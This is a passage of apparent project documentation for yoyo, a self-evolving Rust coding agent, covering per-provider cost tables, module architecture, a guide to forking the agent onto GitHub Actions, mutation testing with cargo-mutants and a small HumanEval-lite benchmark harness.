128K max output, prices from Anthropic's pricing page). Anthropic charges it
more above 100,000 prompt tokens ($0.50 in, $0.625 cache write, $0.05 cache
read, $2.50 out). Since Day 222 the per-turn breakdown in /cost prices each
turn whose own prompt (input + cache tokens) is over 100,000 at those tier
rates, marks it with *, and adds a footnote; a prompt of exactly 100,000 stays
at the base rate. The tier is per request, so it is applied only where yoyo has
one request's usage. The session cost line, /tokens, the per-response
↳ line and the --verbose totals do not apply the tier and still use
the base rates, so they understate a Haiku 5.5 session with very long
prompts. When the two disagree, the per-turn total is the closer one (it covers
only turns still in the conversation, so after /compact it can be lower). A
[model_pricing] override for the model replaces its pricing wholesale and no
tier applies. Haiku 5.5 is the only model yoyo currently prices with a tier.
OpenAI
| Model | Input | Output |
|---|---|---|
| GPT-4.1 | $2/MTok | $8/MTok |
| GPT-4.1 Mini | $0.40/MTok | $1.60/MTok |
| GPT-4.1 Nano | $0.10/MTok | $0.40/MTok |
| GPT-4o | $2.50/MTok | $10/MTok |
| GPT-4o Mini | $0.15/MTok | $0.60/MTok |
| o3 | $2/MTok | $8/MTok |
| o3-mini | $1.10/MTok | $4.40/MTok |
| o4-mini | $1.10/MTok | $4.40/MTok |
| Model | Input | Output |
|---|---|---|
| Gemini 2.5 Pro | $1.25/MTok | $10/MTok |
Gemini 2.5 Pro TTS (gemini-2.5-pro-preview-tts) | $1/MTok | $20/MTok |
Gemini 3.1 Pro Preview (gemini-3.1-pro-preview, -customtools) | $2/MTok | $12/MTok |
Gemini 3 Pro Image (gemini-3-pro-image) | $2/MTok | $120/MTok |
| Gemini 2.5 Flash | $0.30/MTok | $2.50/MTok |
| Gemini 2.5 Flash-Lite | $0.10/MTok | $0.40/MTok |
Gemini 2.5 Flash Image (gemini-2.5-flash-image) | $0.30/MTok | $30/MTok |
Gemini 2.5 Flash TTS (gemini-2.5-flash-preview-tts) | $0.50/MTok | $10/MTok |
| Gemini 2.0 Flash | $0.10/MTok | $0.40/MTok |
Gemini 3 Flash Preview (gemini-3-flash-preview) | $0.50/MTok | $3/MTok |
Gemini 3.1 Flash-Lite (gemini-3.1-flash-lite) | $0.25/MTok | $1.50/MTok |
Gemini 3.5 Flash-Lite (gemini-3.5-flash-lite) | $0.30/MTok | $2.50/MTok |
Gemini 3.6 Flash (gemini-3.6-flash) | $1.50/MTok | $7.50/MTok |
Gemini 3.6 Flash is billed at Google's regular rate; Google charges an introductory $0.75 / $3.75
through 2026-12-31, so until then /cost reads about twice the bill. The 3.1 image, TTS and live
ids and gemini-3.5-live-translate-preview have exact prices too (image or audio output rates).
Other gemini-3* flash ids Google's pricing page does not list (for example gemini-3.5-flash)
are still estimated at $0.15 / $0.60, and other gemini-3* pro ids (for example
gemini-3-pro-preview, gemini-3-pro-image-preview) at $1.25 / $10. Gemini 3.1 Pro is billed at
its base rate; Google charges $4 / $18 for prompts over 200K tokens, which /cost does not model.
Gemini 3 Pro Image is billed at its image output rate ($120); its text output is $12.
DeepSeek
| Model | Input | Output |
|---|---|---|
| DeepSeek Chat/V3 | $0.27/MTok | $1.10/MTok |
| DeepSeek Reasoner/R1 | $0.55/MTok | $2.19/MTok |
DeepSeek Flash (V4.1-Flash, incl. the deepseek-v4-flash legacy alias) | $0.15/MTok | $0.60/MTok |
Two things to read these numbers with. First, they are off-peak prices:
DeepSeek doubles them on weekdays 01:00–04:00 and 06:00–10:00 UTC, so a cost
yoyo reports for a DeepSeek session is a lower bound — during a peak window
the true cost is up to 2x what is shown. Second, this table is a set of
hardcoded literals: when a provider changes its prices, nothing changes
here automatically. A drift alarm exists but is opt-in, because it fetches
models.dev over the network: cargo test --bin yoyo audit_table_against_models_dev -- --ignored lists every row that disagrees. Open drift is tracked in #1012. deepseek-v4-flash (the id the evolve
loop runs on) is a legacy name DeepSeek still serves as V4.1-Flash, so it is
priced as deepseek-flash; deepseek-r1, deepseek-v3 and deepseek-v4-pro
are carried unchanged and, at the time of writing, have not been checked against
a second source.
Mistral
| Model | Input | Output |
|---|---|---|
| Mistral Large | $0.50/MTok | $1.50/MTok |
Mistral Small (mistral-small-latest, mistral-small-2603) | $0.15/MTok | $0.60/MTok |
Mistral Small (other ids, e.g. mistral-small-2506) | $0.10/MTok | $0.30/MTok |
| Codestral | $0.30/MTok | $0.90/MTok |
xAI (Grok)
| Model | Input | Output |
|---|---|---|
| Grok 3 | $3/MTok | $15/MTok |
| Grok 3 Mini | $0.30/MTok | $0.50/MTok |
| Grok 2 | $2/MTok | $10/MTok |
Groq (hosted models)
| Model | Input | Output |
|---|---|---|
| Llama 3.3 70B | $0.59/MTok | $0.79/MTok |
| Llama 3.1 8B | $0.05/MTok | $0.08/MTok |
| Mixtral 8x7B | $0.24/MTok | $0.24/MTok |
| Gemma2 9B | $0.20/MTok | $0.20/MTok |
MTok = million tokens.
OpenRouter
Models accessed through OpenRouter (e.g., anthropic/claude-sonnet-4-20250514) are automatically recognized — the provider prefix is stripped before matching.
Custom pricing
The built-in table is list price. If your real rate differs — a negotiated contract, a volume discount, a proxy or gateway that re-prices, a self-hosted model whose marginal cost is electricity, or any OpenAI-compatible endpoint yoyo has no entry for — you can say so in your config file:
[model_pricing."my-model-id"]
input = 1.50 # USD per million input tokens
output = 7.00 # USD per million output tokens
Precedence: your override > the built-in preset > the built-in table. Your number always wins for the model id you name.
Rules:
- Model ids match exactly. Pricing
gpt-4odoes not re-pricegpt-4o-mini, and does not re-priceopenai/gpt-4o. Write the id exactly as yoyo reports it in/model. - Both rates are required. An entry missing
inputoroutput, or carrying a non-number or a negative number, is ignored entirely and named on startup — yoyo will not apply half a price, because the resulting number would belong to no source at all. - Zero is a valid price. A self-hosted model whose marginal cost per
million tokens really is zero reports
$0.0000rather than reporting nothing. - Overrides cover input and output only. A model you price yourself is costed with cache-write and cache-read rates of zero; cache-token rates are not configurable today.
This makes the number correctable, not correct: an override is a claim you made, and yoyo has no way to verify it against your actual invoice.
[model_pricing] is a table, not a scalar, so it is not settable through
/config set — edit your config file directly (/config edit).
Spending warning
Set a budget in US dollars and yoyo prints one stderr warning when this session's estimated spend crosses it. It is a warning only; nothing is stopped. Sources, highest priority first: --cost-warn <usd>, the YOYO_COST_WARN_USD environment variable, and cost_warn_usd in .yoyo.toml. It is off when none is set.
The value must be a positive number. An invalid one (abc, -1, 0, nan) prints a warning at startup naming where it came from, before any tokens are spent. If no other source gives a usable value, the cost warning is off for that run. An empty YOYO_COST_WARN_USD counts as unset.
Limitations
- Cost estimates are approximate — actual billing may differ slightly
- For unrecognized models, no cost estimate is shown
- Cache read/write costs only apply to Anthropic models; other providers show zero cache costs
- Pricing may change — check your provider's pricing page for the latest rates, or pin your own rate with
[model_pricing]above
Keeping costs down
- Use smaller models (Haiku, Sonnet, GPT-4.1 Mini, Gemini Flash) for simple tasks
- Use
/compactto reduce context size (fewer input tokens per turn) - Use single-prompt mode (
-p) for quick questions to avoid accumulating context - Turn off extended thinking for routine tasks
Architecture
This page explains the reasoning behind yoyo's internal design — why the codebase is shaped the way it is, what trade-offs were made, and what invariants contributors should understand before changing things. For a machine-generated dependency graph, see DeepWiki.
Why 13 modules instead of 3?
yoyo started as a single 200-line file. By Day 10 it was a single 3,400-line main.rs. That file was split over Days 10–15 into the current structure, not because someone sat down and designed thirteen modules, but because the code kept telling us where the seams were.
The split follows a simple heuristic: if two chunks of code change for different reasons, they belong in different files. Adding a new /git subcommand shouldn't force you to scroll past the markdown renderer. Fixing a cost-calculation bug shouldn't put you in the same file as the CLI argument parser.
The current modules, from smallest to largest:
| Module | Lines | Role |
|---|---|---|
memory.rs | ~375 | Project-specific .yoyo/memory.json persistence |
docs.rs | ~550 | Fetching and parsing docs.rs HTML |
help.rs | ~840 | Per-command help text and /help handler |
git.rs | ~1,080 | Low-level git operations (branch, commit, diff) |
commands_git.rs | ~1,130 | /commit, /diff, /undo, /pr, /review handlers |
repl.rs | ~1,270 | Readline loop, tab completion, multi-line input |
commands_session.rs | ~1,340 | /save, /load, /export, /spawn, /mark, /jump |
main.rs | ~1,560 | Entry point, agent construction, tool wiring |
prompt.rs | ~1,870 | Agent execution, streaming event loop, retry logic |
cli.rs | ~2,520 | Argument parsing, config files, provider selection |
commands.rs | ~2,910 | Core command dispatch, re-exports sub-modules |
commands_project.rs | ~3,660 | /add, /fix, /test, /lint, /tree, /find, /web, /plan |
format.rs | ~4,700 | Colors, markdown rendering, cost calc, spinner, diffs |
Thirteen modules is a lot for ~24k lines. The alternative — three or four large files — would be easier to navigate in a directory listing but harder to work in. When a module is under 1,500 lines, you can hold its entire API in your head. When it's 4,700 lines (like format.rs), you start wanting to split it further — and that's a fair instinct, discussed below.
The layered design and why it matters
The modules form five rough layers, and the key invariant is: dependencies only point downward.
┌─────────────────────────────────────────────────┐
│ Entry main.rs │
├─────────────────────────────────────────────────┤
│ REPL repl.rs │
├─────────────────────────────────────────────────┤
│ Commands commands.rs │
│ commands_git.rs │
│ commands_project.rs │
│ commands_session.rs │
│ help.rs │
├─────────────────────────────────────────────────┤
│ Engine prompt.rs format.rs │
├─────────────────────────────────────────────────┤
│ Utilities git.rs memory.rs docs.rs │
└─────────────────────────────────────────────────┘
Entry layer. main.rs parses CLI args (via cli.rs), builds the agent, wires up tools with permission checks, and hands control to either repl.rs (interactive) or prompt.rs (single-prompt / piped mode). It owns the AgentConfig struct and the build_agent() / configure_agent() functions. It also defines StreamingBashTool, a custom replacement for yoagent's default BashTool that reads subprocess stdout/stderr line-by-line via tokio::io::AsyncBufReadExt and emits periodic ToolExecutionUpdate events through the on_update callback. This means when a user runs cargo build or npm install, partial output appears in real-time instead of after the command finishes. The reasoning: agent construction is complex (provider selection, tool wiring, MCP/OpenAPI setup, permission configuration) and shouldn't be tangled with either the REPL loop or command handlers.
REPL layer. repl.rs owns the readline loop, tab completion, multi-line input detection, and the big match block that dispatches / commands. It depends on nearly everything below it because it's the traffic cop — but nothing depends on it. This is intentional: piped mode and single-prompt mode bypass the REPL entirely and go straight to prompt.rs.
Command layer. commands.rs is the hub — it re-exports handlers from three sub-modules (commands_git.rs, commands_project.rs, commands_session.rs) and help.rs. The sub-module split follows domain, not size: git-workflow commands in one file, project-workflow commands in another, session-management commands in a third. This means adding a new /git stash pop subcommand only touches commands_git.rs, even though commands_project.rs is three times larger. The split is by reason-to-change, not by line count.
Engine layer. prompt.rs and format.rs are the two largest modules by complexity. prompt.rs runs the agent, processes the streaming event channel, handles retries on transient errors, and manages context overflow (auto-compaction). format.rs handles everything the user sees: ANSI colors, the incremental MarkdownRenderer, cost calculations for seven providers, the terminal spinner, diff formatting, and dozens of small display utilities. These two modules sit at the same layer because they collaborate tightly — prompt.rs feeds events to format.rs's renderer — but neither depends on commands or the REPL.
Utility layer. git.rs, memory.rs, and docs.rs are leaf modules with no upward dependencies. They wrap external systems (git CLI, filesystem JSON, docs.rs HTTP) behind clean Rust APIs. Any module above can call into them, but they never call up. This makes them easy to test in isolation — and they are: git.rs has 41 tests, memory.rs has 14, docs.rs has 23.
The layering isn't enforced by the compiler — Rust's module system doesn't prevent circular use crate:: imports at the module level. It's enforced by convention and by the fact that violations immediately feel wrong: if git.rs needed to call a command handler, that would be a sign the abstraction is leaking.
Why format.rs is the largest file
At ~4,700 lines with 256 tests, format.rs is twice the size of any other module. This isn't accidental — it's the consequence of a design choice: all terminal presentation logic lives in one place.
The module contains:
- Color system — the
Colorwrapper that respectsNO_COLOR, all ANSI color constants - MarkdownRenderer — incremental streaming renderer that turns text deltas into ANSI-colored output with syntax highlighting, handling code blocks, headers, bold/italic, lists, and inline code as tokens arrive
- Cost calculations — pricing tables for seven providers, input/output/cache cost breakdowns
- Spinner — background activity indicator for API roundtrips
- Display utilities —
pluralize,truncate,context_bar,format_duration,format_token_count,format_edit_diff,format_tool_summary, and more
The alternative would be splitting into color.rs, renderer.rs, cost.rs, etc. That's probably the right move eventually. But today, having all presentation in one file has a benefit: when you change how something looks, you only need to look in one place. The MarkdownRenderer uses the color system, cost formatting uses the color system, the spinner uses the color system — they're coupled by the shared presentation layer, and co-location makes that coupling visible rather than hiding it across five small files.
The 256 tests are the reason this works at ~4,700 lines. Every public function has test coverage. The MarkdownRenderer alone has tests for every markdown construct it handles. If those tests didn't exist, the file would be unmaintainable at this size.
Why cli.rs is so large
cli.rs (~2,520 lines) handles three jobs that sound simple but aren't:
-
Argument parsing — yoyo doesn't use
claporstructopt. Arguments are parsed by hand fromstd::env::args. This was a deliberate choice: the CLI has unusual needs (multi-value--mcpflags,--providerwith fallback chains, config file merging) that are easier to handle with custom parsing than with a framework's escape hatches. The trade-off is more code incli.rs, but zero macro magic and full control over error messages. -
Config file merging —
.yoyo.tomlandYOYO.mdsettings merge with CLI flags and environment variables, with a clear precedence chain. This merging logic accounts for hundreds of lines. -
Provider configuration — selecting the right API key, endpoint, and default model for each of eight providers, including fallback behavior when keys aren't set.
The 92 tests in cli.rs verify the parsing of every flag and every merge scenario. Adding a new CLI flag means adding it in one place and adding a test.
The command dispatch pattern
Every /command follows the same pattern:
- User types
/foo bar bazin the REPL repl.rsmatches on"/foo"and callscommands::handle_foo(args, agent, ...)- The handler does its work, possibly calling into utility modules
- If it needs the LLM, it calls
prompt::run_prompt()with a constructed input
This pattern is enforced by convention, not by a trait. Early versions tried a Command trait with execute(), but it added ceremony without value — every command has different arguments, different return types, and different needs (some need the agent, some don't, some are async, some aren't). A simple function per command turned out to be the right abstraction level.
The commands.rs hub re-exports all handlers so the REPL only needs use crate::commands::*. The sub-modules (commands_git, commands_project, commands_session) group by domain. When you run /commit, the REPL calls handle_commit(), which is defined in commands_git.rs and re-exported through commands.rs.
Why prompt.rs handles retries internally
prompt.rs encapsulates the entire agent interaction lifecycle: sending the prompt, receiving streaming events, rendering output, and handling errors. Retry logic lives here — not in the REPL or in main.rs — because retries need access to the event stream state.
Three kinds of retries happen:
- Tool failures — if a tool execution fails, the error is sent back to the LLM as context and it retries (up to 2 times). This happens inside the agent's own loop.
- Transient API errors (429, 5xx) — retried with exponential backoff. The REPL doesn't need to know this happened.
- Context overflow — when the conversation exceeds the context window,
prompt.rstriggers auto-compaction (asking the LLM to summarize the conversation so far) and retries with the compressed context.
Keeping this in prompt.rs means the REPL's contract is simple: call run_prompt(), get back a PromptOutcome with the response text, token usage, and any unrecoverable errors. The REPL never has to think about retries, backoff, or context management.
The streaming renderer design
yoyo streams LLM output token-by-token. The MarkdownRenderer in format.rs is an incremental state machine that receives text deltas (often partial words or half a markdown construct) and emits ANSI-colored output. This is architecturally significant because:
- It can't buffer entire lines. If it did, the output would appear in chunks instead of flowing. An early version had this bug — it was technically correct but felt broken. (Day 17 fix.)
- It must track state across deltas. When a delta contains
`and the next delta containsrs, the renderer must know it's inside a code block header. The state machine tracks: are we in a code block? What language? Are we in bold? Italic? A header? A list item? - It must handle malformed markdown gracefully. LLMs sometimes emit unclosed code blocks, nested formatting that doesn't resolve, or markdown-like syntax that isn't actually markdown. The renderer must produce reasonable output regardless.
The alternative — buffering the entire response and rendering it at the end — would be simpler but would make the tool feel unresponsive. Streaming is a UX requirement that imposes real architectural cost.
Invariants contributors should know
No upward dependencies from utilities. git.rs, memory.rs, and docs.rs must never use crate::commands or use crate::repl. If you find yourself wanting to, the abstraction boundary is wrong.
format.rs is the only module that writes ANSI escape codes. Other modules call format::Color, format::DIM, etc. — they don't hardcode escape sequences. This is enforced by convention and makes NO_COLOR support work globally.
Every command handler is a standalone function. No command state persists between invocations (except through the Agent's conversation history and SessionChanges). This makes commands testable in isolation.
Tests live next to the code they test. Each module has a #[cfg(test)] mod tests block at the bottom. The project has ~1,000 tests total. Integration tests live in tests/integration.rs and test the CLI binary as a black box.
The agent is the only LLM dependency. yoyo delegates all LLM interaction to the yoagent crate. prompt.rs receives AgentEvents through a channel — it never constructs HTTP requests or parses API responses directly. This means swapping the LLM backend (or the entire agent framework) would only require changes to main.rs (construction) and prompt.rs (event handling).
Trade-offs and known debt
format.rs should probably be split. The MarkdownRenderer, cost tables, and color utilities are three distinct concerns sharing a file. The blocker isn't technical — it's that all three are coupled through the color system, and splitting would require deciding where Color lives.
Hand-rolled CLI parsing is a maintenance burden. Every new flag requires manual parsing code, help text updates, and config file support. A framework like clap would reduce this at the cost of a dependency and less control over error messages. The current approach works because flags don't change often.
commands.rs as a hub creates a wide dependency surface. Because it re-exports everything, changing any command sub-module can trigger recompilation of anything that imports commands::*. In a larger project this would matter for build times. At ~24k lines, it doesn't yet.
No trait abstraction for commands. This is fine at the current scale but means there's no compile-time guarantee that all commands follow the same pattern. A new contributor might put command logic directly in repl.rs instead of in a handler function. Code review catches this, not the type system.
Grow Your Own Agent
Fork yoyo-evolve, edit two files, and run your own self-evolving coding agent on GitHub Actions.
What You Get
A coding agent that:
- Runs on GitHub Actions every ~8 hours
- Reads its own source code, picks improvements, implements them
- Writes a journal of its evolution
- Responds to community issues in its own voice
- Gets smarter over time through a persistent memory system
Quick Start
1. Fork the repo
Fork yologdev/yoyo-evolve on GitHub.
2. Edit your agent's identity
IDENTITY.md — your agent's constitution: name, mission, goals, and rules.
PERSONALITY.md — your agent's voice: how it writes, speaks, and expresses itself.
These are the only files you need to edit. Everything else auto-detects.
If you register in the yoyo family Address Book, also update LINEAGE.md so your agent has prompt-visible generation, parent, and branch-point context.
3. Choose your provider
yoyo supports 13+ providers out of the box. Pick the one that fits your budget and preferences:
| Provider | Env Var | Default Model | Notes |
|---|---|---|---|
anthropic | ANTHROPIC_API_KEY | claude-opus-5-5 | Default. Best overall quality. |
openai | OPENAI_API_KEY | gpt-6-sol | GPT-6 presets (sol/astra/luna) and older GPT ids |
google | GEMINI_API_KEY or GOOGLE_API_KEY | gemini-3.8-flash | Gemini models |
openrouter | OPENROUTER_API_KEY | anthropic/claude-sonnet-4-20250514 | Multi-provider gateway |
deepseek | DEEPSEEK_API_KEY | deepseek-chat | Very cost-effective |
groq | GROQ_API_KEY | llama-3.3-70b-versatile | Fast inference |
mistral | MISTRAL_API_KEY | mistral-large-latest | Mistral and Codestral models |
xai | XAI_API_KEY | grok-3 | Grok models |
ollama | (none — local) | llama3.2 | Free, runs on your hardware |
For the full list of providers and models, see Models & Providers.
Tip: Anthropic is the default and what yoyo itself uses to evolve. If you're unsure, start there. If cost is a concern, DeepSeek and Groq offer strong results at a fraction of the price. Ollama is free but requires local hardware.
4. Create a GitHub App
Your agent needs a GitHub App to commit code and interact with issues.
- Go to Settings > Developer settings > GitHub Apps > New GitHub App
- Give it your agent's name
- Set permissions:
- Repository > Contents: Read and write
- Repository > Issues: Read and write
- Repository > Discussions: Read and write (optional, for social features)
- Install it on your forked repo
- Note the App ID, Private Key (generate one), and Installation ID
- Installation ID: visit
https://github.com/settings/installationsand click your app — the ID is in the URL
- Installation ID: visit
5. Set repo secrets
In your fork, go to Settings > Secrets and variables > Actions and add:
| Secret | Description |
|---|---|
| Provider API key | API key for your chosen provider (see table in step 3) |
APP_ID | GitHub App ID |
APP_PRIVATE_KEY | GitHub App private key (PEM) |
APP_INSTALLATION_ID | GitHub App installation ID |
Set the API key secret matching your chosen provider. For example, if using Anthropic, add ANTHROPIC_API_KEY. If using OpenAI, add OPENAI_API_KEY. If using DeepSeek, add DEEPSEEK_API_KEY, and so on.
6. Enable the Evolution workflow
Go to Actions in your fork and enable the Evolution workflow. Your agent will start evolving on its next scheduled run, or trigger it manually with Run workflow.
What Each File Does
| File | Purpose |
|---|---|
IDENTITY.md | Agent's constitution — name, mission, goals, rules |
PERSONALITY.md | Agent's voice — writing style, personality traits |
LINEAGE.md | Agent's family-tree generation, root ancestor, parent, and branch point |
ECONOMICS.md | What money/sponsorship means to the agent |
journals/JOURNAL.md | Chronological log of evolution sessions (auto-maintained) |
DAY_COUNT | Tracks the agent's current evolution day |
memory/ | Persistent learning system (auto-maintained) |
SPONSORS.md | Sponsor recognition (auto-maintained) |
Costs
Costs vary by provider and model:
- Anthropic Claude Opus —
$3-8 per session ($10-25/day at 3 sessions/day) - Anthropic Claude Sonnet — ~$1-3 per session, good balance of quality and cost
- DeepSeek — significantly cheaper, strong coding performance
- Groq — fast and affordable for smaller models
- Ollama — free (runs locally), but requires capable hardware
The default schedule runs ~3 sessions per day (8-hour gap between runs). To reduce costs, switch to a cheaper provider/model or reduce session frequency.
Customization
Change the provider and model
Set PROVIDER and MODEL environment variables in .github/workflows/evolve.yml:
env:
PROVIDER: openai
MODEL: gpt-4o
Or set just MODEL to use a different model within the default provider (Anthropic):
env:
MODEL: claude-sonnet-4-6
You can also edit the default directly in scripts/evolve.sh.
Change session frequency
Edit the cron schedule in .github/workflows/evolve.yml. The default 0 * * * * (every hour) is gated by an 8-hour gap in the script, so the agent runs ~3 times/day.
Add custom skills
Create markdown files with YAML frontmatter in the skills/ directory. The agent loads them automatically via --skills ./skills.
Sponsor system
The sponsor system auto-detects your GitHub Sponsors. No configuration needed — just set up GitHub Sponsors on your account.
The /update Command
The yoyo binary's /update command checks for releases from yologdev/yoyo-evolve, not your fork. This is expected behavior. As a fork maintainer, rebuild from source after pulling changes:
cargo build --release
In the future, an evolve portal will provide guided setup including custom update targets.
Optional: Dashboard Notifications
If you have a dashboard repo that accepts repository dispatch events, set a repo variable:
gh variable set DASHBOARD_REPO --body "your-user/your-dashboard" --repo your-user/your-fork
And add the DASHBOARD_TOKEN secret with a token that can dispatch to that repo.
Mutation Testing
yoyo uses cargo-mutants to assess test quality. Mutation testing works by making small changes (mutants) to the source code — flipping conditions, replacing return values, removing function bodies — and checking whether any test catches each change.
If a mutant survives (no test fails), it means that line of code isn't actually tested.
Baseline
As of Day 9, yoyo has 1004 total mutants across its source files. This number grows as features are added. The mutation testing setup uses a 20% maximum survival rate threshold — if more than 20% of tested mutants survive, the check fails.
| Metric | Value |
|---|---|
| Total mutants | 1004 |
| Threshold | 20% max survival rate |
| Established | Day 9 (2026-03-09) |
Install cargo-mutants
cargo install cargo-mutants
Quick start with the threshold script
The easiest way to run mutation testing is with the threshold script:
# Run with default 20% threshold
./scripts/run_mutants.sh
# Run with a stricter threshold
./scripts/run_mutants.sh --threshold 10
# Just count mutants without running them
./scripts/run_mutants.sh --list
# Test mutants in a specific file only
./scripts/run_mutants.sh --file src/format.rs
The script:
- Runs
cargo mutantson the project - Counts caught vs survived mutants
- Calculates the survival rate
- Exits with code 1 if the rate exceeds the threshold
- Prints surviving mutants on failure so you know what to fix
This makes it easy for maintainers to run locally and could be added to CI by the project owner.
Run mutation testing directly
From the project root:
# Run all mutants (this takes a while — several minutes)
cargo mutants
# Show only the surviving mutants (uncaught mutations)
cargo mutants -- --survived
# Run mutants for a specific file
cargo mutants -f src/format.rs
# Run mutants for a specific function
cargo mutants -F "format_cost"
Read the results
After a run, cargo-mutants creates a mutants.out/ directory with detailed results:
# Summary
cat mutants.out/caught.txt # mutants killed by tests ✓
cat mutants.out/survived.txt # mutants NOT caught — test gaps!
cat mutants.out/timeout.txt # mutants that caused infinite loops
cat mutants.out/unviable.txt # mutants that didn't compile
Focus on survived.txt — each line is a mutation that no test catches. These are the weak spots.
Configuration
The .cargo/mutants.toml file excludes known-acceptable mutants:
- Cosmetic functions — ANSI color codes, banner printing, help text
- Interactive I/O — functions that read stdin or require a terminal
- Async API calls — prompt execution that needs a live Anthropic API
These exclusions keep mutation testing focused on logic that should be tested. If you add a new feature with testable logic, make sure it's not excluded.
The path matters. cargo-mutants reads .cargo/mutants.toml, not a file at the repo root. This config sat at the root from Day 9 to Day 178 and was never read once in that time. If you move it, or start a fresh copy, verify it is actually being loaded — see "Proving the config is read" below.
Exclusions are written as exclude_re: a list of regexps matched against the whole line --list prints, i.e. path:line:col: <mutant text>. Two conventions in this file are load-bearing:
- Anchor each regex to its source file with
^src/…\.rs:. This is what stops an exclusion reaching a module it was never meant to touch — in particular the five modules with mutation readings recorded inCLAUDE.md, whose denominators must stay stable or every recorded number becomes incomparable with its own future re-measure. - Keep the
\bword boundaries. Without themrun_promptalso swallowsrun_prompt_with_changesand nine other live functions, andcompact_agentswallowscompact_agent_with_keep.
Proving the config is read
Editing the file is the container; being loaded is the payload. --list runs no tests, so the check is fast and deterministic — compare a file holding an excluded function against the same file with --no-config:
cargo mutants --list -f src/commands_session.rs | wc -l # 168
cargo mutants --list --no-config -f src/commands_session.rs | wc -l # 191
If the two counts are equal, the config is not being read, whatever the file says. Check the mutant text too, not just the count: diff the two lists and confirm the functions that disappeared are the ones you excluded, and that near-miss neighbours (compact_agent_with_keep, usage_print_line) survived.
Writing targeted tests
When you find a surviving mutant:
- Read what the mutation does (e.g., "replace
<with<=in format_cost") - Write a test that specifically catches that boundary condition
- Re-run
cargo mutants -F "function_name"to verify the mutant is now caught
Example workflow:
# Find surviving mutants
cargo mutants 2>&1 | grep "SURVIVED"
# Write a test to kill the mutant, then verify
cargo mutants -F "format_cost"
Threshold script for CI
The scripts/run_mutants.sh script is designed to be CI-friendly:
# In a CI pipeline or pre-merge check:
./scripts/run_mutants.sh --threshold 20
# Exit codes:
# 0 = survival rate within threshold (PASS)
# 1 = survival rate exceeds threshold (FAIL)
The project owner can add this to CI workflows when ready. For now, contributors should run it locally before submitting PRs that add new logic.
When to run
Mutation testing is slow — it builds and tests your code once per mutant. Run it:
- After adding a new feature, to verify test coverage
- Before a release, as a quality check
- When you suspect the test suite has gaps
- On specific files with
--fileto keep it fast during development
Notes for CI integration
The scripts/run_mutants.sh script and .cargo/mutants.toml config are ready for a human maintainer to wire into CI. A few things to know:
- Git-dependent tests: Some tests (e.g.
test_git_branch_returns_something_in_repo,test_build_project_tree_runs,test_get_staged_diff_runs) gracefully handle running outside a git repo. cargo-mutants copies source to a temp directory without.git/, so these tests skip git-specific assertions when not in a repo. - Exclusions were stale for ~169 days, and are now re-resolved: the config excludes cosmetic/display functions (ANSI colors, banners), interactive I/O (stdin, terminal), and async API calls (needs live Anthropic key) — that policy is unchanged and still sound. What was wrong was everything else. Written on Day 9, the file sat at the repo root where cargo-mutants never looks, used a
[[exclude]] function = "…"schema that current cargo-mutants rejects outright (unknown field 'exclude'), and named six functions that had since moved modules or never existed (main::collect_multiline,main::run_shell_command,main::compact_agent,main::auto_compact_if_needed,cli::print_banner,format::Color::fmt). On Day 178 it was moved to.cargo/mutants.toml, rewritten to theexclude_reschema, and every name re-resolved against the tree and verified to generate at least one real mutant. An exclusion that matches nothing is worse than no exclusion, because it reads as a considered policy. - No previously recorded reading is invalidated by this. All of them passed
-fon the command line, which bypasses the config entirely. - The script cannot be added to
.github/workflows/by the agent (safety rules), but it exits with code 0/1 and is designed for CI use.
Benchmarks
Goal
yoyo has no published benchmark number yet — while comparable coding agents do (Claude Mythos: 93.9% SWE-bench, Cursor: 88.1%, Aider: 82.4%). Getting an external, comparable capability number is the single biggest strategic gap in yoyo's self-assessment. This page tracks the harness/adapter work needed to plug yoyo into standard benchmark evaluation pipelines. See issue #156.
What exists now
A single-case HumanEval adapter — scripts/bench/humaneval_one.sh. It feeds
one HumanEval-style Python problem (a function signature + docstring),
selected by a problem-ID argument, into yoyo non-interactively, captures the
completion, and scores it against that problem's canonical HumanEval unit
tests — printing a clear PASS/FAIL verdict. That's the whole job right now:
benchmark-shaped prompt IN, completion OUT + PASS/FAIL scored against the
canonical tests.
This proves the yoyo → benchmark → score I/O boundary works end to end. A thin
aggregate runner — scripts/bench/humaneval_run.sh — now composes it over
the small inline problem set (see below). There is still no full dataset (the
164-problem HumanEval jsonl) and no published pass@1 number over it — the
aggregate score is HumanEval-lite (the 5 inline problems), not the full set.
How to run it
# Default problem (has_close_elements), build + run + score:
ANTHROPIC_API_KEY=sk-... ./scripts/bench/humaneval_one.sh
# Select a specific problem by its name (first positional arg):
ANTHROPIC_API_KEY=sk-... ./scripts/bench/humaneval_one.sh has_close_elements
ANTHROPIC_API_KEY=sk-... ./scripts/bench/humaneval_one.sh add
# Reuse a prebuilt binary instead of rebuilding:
YOYO_BIN=./target/release/yoyo ANTHROPIC_API_KEY=sk-... ./scripts/bench/humaneval_one.sh add
How to run the aggregate runner
scripts/bench/humaneval_run.sh composes the single-case harness above over the
whole inline problem set and prints one greppable summary line:
# Run all inline problems, tally, print the aggregate score:
ANTHROPIC_API_KEY=sk-... ./scripts/bench/humaneval_run.sh
# Run a subset by naming problems (validated against the available set):
ANTHROPIC_API_KEY=sk-... ./scripts/bench/humaneval_run.sh add below_zero
# Reuse a prebuilt binary (passed through to humaneval_one.sh):
YOYO_BIN=./target/release/yoyo ANTHROPIC_API_KEY=sk-... ./scripts/bench/humaneval_run.sh
The final line has an exact, greppable format:
HumanEval-lite: 5/5 passed (100.0%)
It composes humaneval_one.sh — the single source of truth for both the
problem set and the scoring. The problem list is read straight from the
AVAILABLE_PROBLEMS= line in humaneval_one.sh (no independent hardcoded copy),
so the two scripts never drift. Each problem's PASS/FAIL is decided solely by
humaneval_one.sh's exit code — the aggregate runner does not re-implement
scoring. A problem whose harness crashes (vs. a wrong-answer FAIL) is counted
as not-passed but reported distinctly, so a harness bug is never silently scored
as a wrong answer. Exit 0 iff every problem passed, non-zero otherwise.
This is HumanEval-lite — the 5 inline problems, not the full 164-problem HumanEval dataset. It does not imply a pass@1 over 164 problems. The runner produces the number when you run it with a real key; no number is published here from a claim alone.
Problem-ID argument
The first positional argument selects which problem to run; with no argument
it defaults to has_close_elements, so existing invocations are unchanged.
Passing an unknown problem name prints the list of available problems and exits
non-zero (it never silently passes). Currently supported problems:
| Name | HumanEval | What it asks |
|---|---|---|
has_close_elements | 0 | Are any two numbers closer than a threshold? |
add | 53 | Return x + y. |
truncate_number | 2 | Return the decimal part of a positive float. |
below_zero | 3 | Does a running bank balance ever fall below zero? |
greatest_common_divisor | 13 | Return the GCD of two integers. |
Each problem is self-contained in the script — no network fetch — so the scoring half stays fully offline and deterministic.
Adding a problem
